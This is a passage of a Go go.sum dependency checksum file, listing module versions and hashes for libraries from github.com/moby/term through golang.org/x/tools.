github.com/moby/term v0.0.0-20210619224110-3f7ff695adc6/go.mod h1:E2VnQOmVuvZB6UYnnDB0qG5Nq/1tD9acaOpo6xmt0Kw=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/morikuni/aec v1.0.0 h1:nP9CBfwrvYnBRgY6qfDQkygYDmYwOilePFkwzv4dU8A=
github.com/morikuni/aec v1.0.0/go.mod h1:BbKIizmSmc5MMPqRYbxO4ZU0S0+P200+tUnFx7PXmsc=
github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
github.com/onsi/ginkgo v1.14.0/go.mod h1:iSB4RoI2tjJc9BBv4NKIKWKya62Rps+oPG/Lv9klQyY=
github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U=
github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM=
github.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799 h1:rc3tiVYb5z54aKaDfakKn0dDjIyPpTtszkjuMzyt7ec=
github.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0=
github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sergi/go-diff v1.3.1 h1:xkr+Oxo4BOQKmkn/B9eMK0g5Kg/983T9DqqPHwYqD+8=
github.com/sergi/go-diff v1.3.1/go.mod h1:aMJSSKb2lpPvRNec0+w3fl7LP9IOFzdc9Pa4NFbPK1I=
github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/tidwall/gjson v1.14.1 h1:iymTbGkQBhveq21bEvAQ81I0LEBork8BFe1CUZXdyuo=
github.com/tidwall/gjson v1.14.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tklauser/go-sysconf v0.3.11 h1:89WgdJhk5SNwJfu+GKyYveZ4IaJ7xAkecBo+KdJV0CM=
github.com/tklauser/go-sysconf v0.3.11/go.mod h1:GqXfhXY3kiPa0nAXPDIQIWzJbMCB7AmcWpGR8lSZfqI=
github.com/tklauser/numcpus v0.6.0 h1:kebhY2Qt+3U6RNK7UqpYNA+tJ23IBEGKkB7JQBfDYms=
github.com/tklauser/numcpus v0.6.0/go.mod h1:FEZLMke0lhOUG6w2JadTzp0a+Nl8PF/GFkQ5UVIcaL4=
github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM=
golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU=
golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs=
golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20211209124913-491a49abca63/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8 h1:RerP+noqYHUQ8CMRcPlC2nvTa4dcBIjegkuWdcUDuqg=
golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab h1:2QkjZIsXupsJbJIdSjjUOgWK3aEtzyuh2mPt3l/CkeU=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20210723032227-1f47c861a9ac/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 h1:ftMN5LMiBFjbzleLqtoBZk7KdJwhuybIU+FckUHgoyQ=
golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
